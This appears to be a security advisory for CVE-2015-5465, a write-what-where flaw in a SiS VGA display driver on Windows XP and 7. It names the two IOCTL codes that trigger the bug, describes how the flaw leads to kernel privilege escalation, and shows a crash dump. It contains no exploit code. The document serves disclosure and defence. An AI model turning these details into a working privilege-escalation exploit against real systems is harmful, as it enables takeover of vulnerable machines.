1. Vulnerability Details

     Affected Vendor: Silicon Integrated Systems Corporation
     Affected Product: Windows VGA Display Manager
     Affected Version: 6.14.10.3930
     Platform: Microsoft Windows 7 (x86), Microsoft Windows XP SP3
     CWE Classification: CWE-123: Write-what-where condition
     Impact: Arbitrary Code Execution
     Attack vector: IOCTL
     CVE-ID: CVE-2015-5465

2. Vulnerability Description

     Vulnerabilities within the srvkp module allows an attacker
     to inject memory they control into an arbitrary location
     they define or cause memory corruption. IOCTL request codes
     0x96002400 and 0x96002404 have been demonstrated to trigger
     these vulnerabilities. These vulnerabilities can be used
     to obtain control of code flow in a privileged process and
     ultimately be used to escalate the privilege of an attacker.

3. Technical Description

     Example against Windows XP:

     Windows XP Kernel Version 2600 (Service Pack 3) UP Free x86
compatible
     Product: WinNt, suite: TerminalServer SingleUserTS
     Built by: 2600.xpsp_sp3_qfe.101209-1646
     Machine Name:
     Kernel base = 0x804d7000 PsLoadedModuleList = 0x805540c0

     KERNEL_MODE_EXCEPTION_NOT_HANDLED (8e)
     This is a very common bugcheck.  Usually the exception address
pinpoints
     the driver/function that caused the problem.  Always note this
address
     as well as the link date of the driver/image that contains this
address.
     Some common problems are exception code 0x80000003.  This means a
hard
     coded breakpoint or assertion was hit, but this system was booted
     /NODEBUG.  This is not supposed to happen as developers should
never have
     hardcoded breakpoints in retail code, but ...
     If this happens, make sure a debugger gets connected, and the
     system is booted /DEBUG.  This will let us see why this breakpoint
is
     happening.
     Arguments:
     Arg1: c0000005, The exception code that was not handled
     Arg2: ac08f2fa, The address that the exception occurred at
     Arg3: 93df4a50, Trap Frame
     Arg4: 00000000
